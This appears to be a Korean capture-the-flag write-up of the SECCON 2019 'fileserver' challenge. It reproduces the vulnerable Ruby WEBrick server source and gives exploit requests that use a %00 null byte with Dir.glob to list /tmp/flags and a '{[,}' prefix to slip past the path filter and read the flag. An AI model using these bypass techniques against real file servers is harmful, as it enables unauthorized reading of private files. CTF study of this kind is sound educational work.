writeup

Seccon 2019 – fileserver

require 'erb'
require 'webrick'
require 'fileutils'
require 'securerandom'

include WEBrick::HTTPStatus

FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')

server = WEBrick::HTTPServer.new Port: 9292

def is_bad_path(path)
  bad_char = nil

  %w(* ? [ { \\).each do |char|
    if path.include? char
      bad_char = char
      break
    end
  end

  if bad_char.nil?
    false
  else
    # check if brackets are paired
    if bad_char == ?{
      path[path.index(bad_char)..].include? ?}
    elsif bad_char == ?[
      path[path.index(bad_char)..].include? ?]
    else
      true
    end
  end
end

server.mount_proc '/' do |req, res|
  raise BadRequest if is_bad_path(req.path)

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next
  end

  matches = Dir.glob(req.path[1..])

  if matches.empty?
    raise NotFound
  end

  begin
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
  rescue Errno::EISDIR => e
    res.set_redirect(MovedPermanently, req.path + '/')
  end
end

trap 'INT' do server.shutdown end

server.start

플래그를 랜덤 이름의 디렉토리에 보관하고 있습니다.
본 문제를 해결하기 위해서는, 먼저 %00을 이용하여 /tmp/flags/ 디렉토리를 리스팅해 폴더명을 확인하고, 정규식을 사용해 파일을 읽으면 됩니다.

Index /tmp/flags

curl fileserver.chal.seccon.jp:9292/%00/tmp/flag/* -o-

Ruby의 Dir.glob 함수에서는, 인자로 전달된 문자열에 널 바이트가 포함되어 있으면, 널바이트를 포함하여 이전 문자를 모두 무시합니다.
따라서 위와 같은 url을 호출하면 앞의 . 이 무시되므로, /tmp/flags 폴더를 리스팅 할 수 있게 됩니다.

Read Flag

http://fileserver.chal.seccon.jp:9292/%7B%5B,%7D/tmp/flags/z7o449HYi3earE06WIlxYHatX1s2iWgg.txt

Ruby의 Dir.glob 함수에서 [ 문자열은 문자열셋 매칭에 사용되는 메타 문자이지만, 중괄호 안에서 단독으로 사용될 경우, 무시될 수 있습니다.
또한 is_bad_path 함수를 보면, path 변수에 * ? [ { \ 순서대로 존재를 확인하여 break 하고, 괄호에 대해서는 대응하는 짝이 없으면 무시한다는 논리 취약점이 존재하고 있습니다.
따라서 {[,} 를 앞에 첨가하는 것으로 필터링을 우회하고 파일을 읽을 수 있었습니다.

Leave a Reply

Your email address will not be published. Required fields are marked *